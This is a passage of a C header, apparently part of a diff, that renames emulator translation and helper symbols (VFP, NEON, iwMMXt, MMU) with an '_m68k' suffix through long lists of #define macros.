gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_m68k +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_m68k +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_m68k +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_m68k +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_m68k +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_m68k +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_m68k +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_m68k +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_m68k +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_m68k +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_m68k +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_m68k +#define gen_helper_vfp_mins gen_helper_vfp_mins_m68k +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_m68k +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_m68k +#define gen_helper_vfp_muld gen_helper_vfp_muld_m68k +#define gen_helper_vfp_muls gen_helper_vfp_muls_m68k +#define gen_helper_vfp_negd gen_helper_vfp_negd_m68k +#define gen_helper_vfp_negs gen_helper_vfp_negs_m68k +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_m68k +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_m68k +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_m68k +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_m68k +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_m68k +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_m68k +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_m68k +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_m68k +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_m68k +#define gen_helper_vfp_subd gen_helper_vfp_subd_m68k +#define gen_helper_vfp_subs gen_helper_vfp_subs_m68k +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_m68k +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_m68k +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_m68k +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_m68k +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_m68k +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_m68k +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_m68k +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_m68k +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_m68k +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_m68k +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_m68k +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_m68k +#define gen_helper_vfp_touid gen_helper_vfp_touid_m68k +#define gen_helper_vfp_touis gen_helper_vfp_touis_m68k +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_m68k +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_m68k +#define gen_helper_vfp_tould gen_helper_vfp_tould_m68k +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_m68k +#define gen_helper_vfp_touls gen_helper_vfp_touls_m68k +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_m68k +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_m68k +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_m68k +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_m68k +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_m68k +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_m68k +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_m68k +#define gen_helper_wfe gen_helper_wfe_m68k +#define gen_helper_wfi gen_helper_wfi_m68k +#define gen_hvc gen_hvc_m68k +#define gen_intermediate_code_internal gen_intermediate_code_internal_m68k +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_m68k +#define gen_iwmmxt_address gen_iwmmxt_address_m68k +#define gen_iwmmxt_shift gen_iwmmxt_shift_m68k +#define gen_jmp gen_jmp_m68k +#define gen_load_and_replicate gen_load_and_replicate_m68k +#define gen_load_exclusive gen_load_exclusive_m68k +#define gen_logic_CC gen_logic_CC_m68k +#define gen_logicq_cc gen_logicq_cc_m68k +#define gen_lookup_tb gen_lookup_tb_m68k +#define gen_mov_F0_vreg gen_mov_F0_vreg_m68k +#define gen_mov_F1_vreg gen_mov_F1_vreg_m68k +#define gen_mov_vreg_F0 gen_mov_vreg_F0_m68k +#define gen_muls_i64_i32 gen_muls_i64_i32_m68k +#define gen_mulu_i64_i32 gen_mulu_i64_i32_m68k +#define gen_mulxy gen_mulxy_m68k +#define gen_neon_add gen_neon_add_m68k +#define gen_neon_addl gen_neon_addl_m68k +#define gen_neon_addl_saturate gen_neon_addl_saturate_m68k +#define gen_neon_bsl gen_neon_bsl_m68k +#define gen_neon_dup_high16 gen_neon_dup_high16_m68k +#define gen_neon_dup_low16 gen_neon_dup_low16_m68k +#define gen_neon_dup_u8 gen_neon_dup_u8_m68k +#define gen_neon_mull gen_neon_mull_m68k +#define gen_neon_narrow gen_neon_narrow_m68k +#define gen_neon_narrow_op gen_neon_narrow_op_m68k +#define gen_neon_narrow_sats gen_neon_narrow_sats_m68k +#define gen_neon_narrow_satu gen_neon_narrow_satu_m68k +#define gen_neon_negl gen_neon_negl_m68k +#define gen_neon_rsb gen_neon_rsb_m68k +#define gen_neon_shift_narrow gen_neon_shift_narrow_m68k +#define gen_neon_subl gen_neon_subl_m68k +#define gen_neon_trn_u16 gen_neon_trn_u16_m68k +#define gen_neon_trn_u8 gen_neon_trn_u8_m68k +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_m68k +#define gen_neon_unzip gen_neon_unzip_m68k +#define gen_neon_widen gen_neon_widen_m68k +#define gen_neon_zip gen_neon_zip_m68k +#define gen_new_label gen_new_label_m68k +#define gen_nop_hint gen_nop_hint_m68k +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_m68k +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_m68k +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_m68k +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_m68k +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_m68k +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_m68k +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_m68k +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_m68k +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_m68k +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_m68k +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_m68k +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_m68k +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_m68k +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_m68k +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_m68k +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_m68k +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_m68k +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_m68k +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_m68k +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_m68k +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_m68k +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_m68k +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_m68k +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_m68k +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_m68k +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_m68k +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_m68k +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_m68k +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_m68k +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_m68k +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_m68k +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_m68k +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_m68k +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_m68k +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_m68k +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_m68k +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_m68k +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_m68k +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_m68k +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_m68k +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_m68k +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_m68k +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_m68k +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_m68k +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_m68k +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_m68k +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_m68k +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_m68k +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_m68k +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_m68k +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_m68k +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_m68k +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_m68k +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_m68k +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_m68k +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_m68k +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_m68k +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_m68k +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_m68k +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_m68k +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_m68k +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_m68k +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_m68k +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_m68k +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_m68k +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_m68k +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_m68k +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_m68k +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_m68k +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_m68k +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_m68k +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_m68k +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_m68k +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_m68k +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_m68k +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_m68k +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_m68k +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_m68k +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_m68k +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_m68k +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_m68k +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_m68k +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_m68k +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_m68k +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_m68k +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_m68k +#define gen_rev16 gen_rev16_m68k +#define gen_revsh gen_revsh_m68k +#define gen_rfe gen_rfe_m68k +#define gen_sar gen_sar_m68k +#define gen_sbc_CC gen_sbc_CC_m68k +#define gen_sbfx gen_sbfx_m68k +#define gen_set_CF_bit31 gen_set_CF_bit31_m68k +#define gen_set_condexec gen_set_condexec_m68k +#define gen_set_cpsr gen_set_cpsr_m68k +#define gen_set_label gen_set_label_m68k +#define gen_set_pc_im gen_set_pc_im_m68k +#define gen_set_psr gen_set_psr_m68k +#define gen_set_psr_im gen_set_psr_im_m68k +#define gen_shl gen_shl_m68k +#define gen_shr gen_shr_m68k +#define gen_smc gen_smc_m68k +#define gen_smul_dual gen_smul_dual_m68k +#define gen_srs gen_srs_m68k +#define gen_ss_advance gen_ss_advance_m68k +#define gen_step_complete_exception gen_step_complete_exception_m68k +#define gen_store_exclusive gen_store_exclusive_m68k +#define gen_storeq_reg gen_storeq_reg_m68k +#define gen_sub_carry gen_sub_carry_m68k +#define gen_sub_CC gen_sub_CC_m68k +#define gen_subq_msw gen_subq_msw_m68k +#define gen_swap_half gen_swap_half_m68k +#define gen_thumb2_data_op gen_thumb2_data_op_m68k +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_m68k +#define gen_ubfx gen_ubfx_m68k +#define gen_vfp_abs gen_vfp_abs_m68k +#define gen_vfp_add gen_vfp_add_m68k +#define gen_vfp_cmp gen_vfp_cmp_m68k +#define gen_vfp_cmpe gen_vfp_cmpe_m68k +#define gen_vfp_div gen_vfp_div_m68k +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_m68k +#define gen_vfp_F1_mul gen_vfp_F1_mul_m68k +#define gen_vfp_F1_neg gen_vfp_F1_neg_m68k +#define gen_vfp_ld gen_vfp_ld_m68k +#define gen_vfp_mrs gen_vfp_mrs_m68k +#define gen_vfp_msr gen_vfp_msr_m68k +#define gen_vfp_mul gen_vfp_mul_m68k +#define gen_vfp_neg gen_vfp_neg_m68k +#define gen_vfp_shto gen_vfp_shto_m68k +#define gen_vfp_sito gen_vfp_sito_m68k +#define gen_vfp_slto gen_vfp_slto_m68k +#define gen_vfp_sqrt gen_vfp_sqrt_m68k +#define gen_vfp_st gen_vfp_st_m68k +#define gen_vfp_sub gen_vfp_sub_m68k +#define gen_vfp_tosh gen_vfp_tosh_m68k +#define gen_vfp_tosi gen_vfp_tosi_m68k +#define gen_vfp_tosiz gen_vfp_tosiz_m68k +#define gen_vfp_tosl gen_vfp_tosl_m68k +#define gen_vfp_touh gen_vfp_touh_m68k +#define gen_vfp_toui gen_vfp_toui_m68k +#define gen_vfp_touiz gen_vfp_touiz_m68k +#define gen_vfp_toul gen_vfp_toul_m68k +#define gen_vfp_uhto gen_vfp_uhto_m68k +#define gen_vfp_uito gen_vfp_uito_m68k +#define gen_vfp_ulto gen_vfp_ulto_m68k +#define get_arm_cp_reginfo get_arm_cp_reginfo_m68k +#define get_clock get_clock_m68k +#define get_clock_realtime get_clock_realtime_m68k +#define get_constraint_priority get_constraint_priority_m68k +#define get_float_exception_flags get_float_exception_flags_m68k +#define get_float_rounding_mode get_float_rounding_mode_m68k +#define get_fpstatus_ptr get_fpstatus_ptr_m68k +#define get_level1_table_address get_level1_table_address_m68k +#define get_mem_index get_mem_index_m68k +#define get_next_param_value get_next_param_value_m68k +#define get_opt_name get_opt_name_m68k +#define get_opt_value get_opt_value_m68k +#define get_page_addr_code get_page_addr_code_m68k +#define get_param_value get_param_value_m68k +#define get_phys_addr get_phys_addr_m68k +#define get_phys_addr_lpae get_phys_addr_lpae_m68k +#define get_phys_addr_mpu get_phys_addr_mpu_m68k +#define get_phys_addr_v5 get_phys_addr_v5_m68k +#define get_phys_addr_v6 get_phys_addr_v6_m68k +#define get_system_memory get_system_memory_m68k +#define get_ticks_per_sec get_ticks_per_sec_m68k +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_m68k +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__m68k +#define gt_cntfrq_access gt_cntfrq_access_m68k +#define gt_cnt_read gt_cnt_read_m68k +#define gt_cnt_reset gt_cnt_reset_m68k +#define gt_counter_access gt_counter_access_m68k +#define gt_ctl_write gt_ctl_write_m68k +#define gt_cval_write gt_cval_write_m68k +#define gt_get_countervalue gt_get_countervalue_m68k +#define gt_pct_access gt_pct_access_m68k +#define gt_ptimer_access gt_ptimer_access_m68k +#define gt_recalc_timer gt_recalc_timer_m68k +#define gt_timer_access gt_timer_access_m68k +#define gt_tval_read gt_tval_read_m68k +#define gt_tval_write gt_tval_write_m68k +#define gt_vct_access gt_vct_access_m68k +#define gt_vtimer_access gt_vtimer_access_m68k +#define guest_phys_blocks_free guest_phys_blocks_free_m68k +#define guest_phys_blocks_init guest_phys_blocks_init_m68k +#define handle_vcvt handle_vcvt_m68k +#define handle_vminmaxnm handle_vminmaxnm_m68k +#define handle_vrint handle_vrint_m68k +#define handle_vsel handle_vsel_m68k +#define has_help_option has_help_option_m68k +#define have_bmi1 have_bmi1_m68k +#define have_bmi2 have_bmi2_m68k +#define hcr_write hcr_write_m68k +#define helper_access_check_cp_reg helper_access_check_cp_reg_m68k +#define helper_add_saturate helper_add_saturate_m68k +#define helper_add_setq helper_add_setq_m68k +#define helper_add_usaturate helper_add_usaturate_m68k +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_m68k +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_m68k +#define helper_be_ldq_mmu helper_be_ldq_mmu_m68k +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_m68k +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_m68k +#define helper_be_ldul_mmu helper_be_ldul_mmu_m68k +#define helper_be_lduw_mmu helper_be_lduw_mmu_m68k +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_m68k +#define helper_be_stl_mmu helper_be_stl_mmu_m68k +#define helper_be_stq_mmu helper_be_stq_mmu_m68k +#define helper_be_stw_mmu helper_be_stw_mmu_m68k +#define helper_clear_pstate_ss helper_clear_pstate_ss_m68k +#define helper_clz_arm helper_clz_arm_m68k +#define helper_cpsr_read helper_cpsr_read_m68k +#define helper_cpsr_write helper_cpsr_write_m68k +#define helper_crc32_arm helper_crc32_arm_m68k +#define helper_crc32c helper_crc32c_m68k +#define helper_crypto_aese helper_crypto_aese_m68k +#define helper_crypto_aesmc helper_crypto_aesmc_m68k +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_m68k +#define helper_crypto_sha1h helper_crypto_sha1h_m68k +#define helper_crypto_sha1su1 helper_crypto_sha1su1_m68k +#define helper_crypto_sha256h helper_crypto_sha256h_m68k +#define helper_crypto_sha256h2 helper_crypto_sha256h2_m68k +#define helper_crypto_sha256su0 helper_crypto_sha256su0_m68k +#define helper_crypto_sha256su1 helper_crypto_sha256su1_m68k +#define helper_dc_zva helper_dc_zva_m68k +#define helper_double_saturate helper_double_saturate_m68k +#define helper_exception_internal helper_exception_internal_m68k +#define helper_exception_return helper_exception_return_m68k +#define helper_exception_with_syndrome helper_exception_with_syndrome_m68k +#define helper_get_cp_reg helper_get_cp_reg_m68k +#define helper_get_cp_reg64 helper_get_cp_reg64_m68k +#define helper_get_r13_banked helper_get_r13_banked_m68k +#define helper_get_user_reg helper_get_user_reg_m68k +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_m68k +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_m68k +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_m68k +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_m68k +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_m68k +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_m68k +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_m68k +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_m68k +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_m68k +#define helper_iwmmxt_addub helper_iwmmxt_addub_m68k +#define helper_iwmmxt_addul helper_iwmmxt_addul_m68k +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_m68k +#define helper_iwmmxt_align helper_iwmmxt_align_m68k +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_m68k +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_m68k +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_m68k +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_m68k +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_m68k +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_m68k +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_m68k +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_m68k +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_m68k +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_m68k +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_m68k +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_m68k +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_m68k +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_m68k +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_m68k +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_m68k +#define helper_iwmmxt_insr helper_iwmmxt_insr_m68k +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_m68k +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_m68k +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_m68k +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_m68k +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_m68k +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_m68k +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_m68k +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_m68k +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_m68k +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_m68k +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_m68k +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_m68k +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_m68k +#define helper_iwmmxt_minub helper_iwmmxt_minub_m68k +#define helper_iwmmxt_minul helper_iwmmxt_minul_m68k +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_m68k +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_m68k +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_m68k +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_m68k +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_m68k +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_m68k +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_m68k +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_m68k +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_m68k +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_m68k +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_m68k +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_m68k +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_m68k +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_m68k +#define helper_iwmmxt_packul helper_iwmmxt_packul_m68k +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_m68k +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_m68k +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_m68k +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_m68k +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_m68k +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_m68k +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_m68k +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_m68k +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_m68k +#define helper_iwmmxt_slll helper_iwmmxt_slll_m68k +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_m68k +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_m68k +#define helper_iwmmxt_sral helper_iwmmxt_sral_m68k +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_m68k +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_m68k +#define helper_iwmmxt_srll helper_iwmmxt_srll_m68k +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_m68k +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_m68k +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_m68k +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_m68k +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_m68k +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_m68k +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_m68k +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_m68k +#define helper_iwmmxt_subub helper_iwmmxt_subub_m68k +#define helper_iwmmxt_subul helper_iwmmxt_subul_m68k +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_m68k +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_m68k +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_m68k +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_m68k +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_m68k +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_m68k +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_m68k +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_m68k +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_m68k +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_m68k +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_m68k +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_m68k +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_m68k +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_m68k +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_m68k +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_m68k +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_m68k +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_m68k +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_m68k +#define helper_ldb_cmmu helper_ldb_cmmu_m68k +#define helper_ldb_mmu 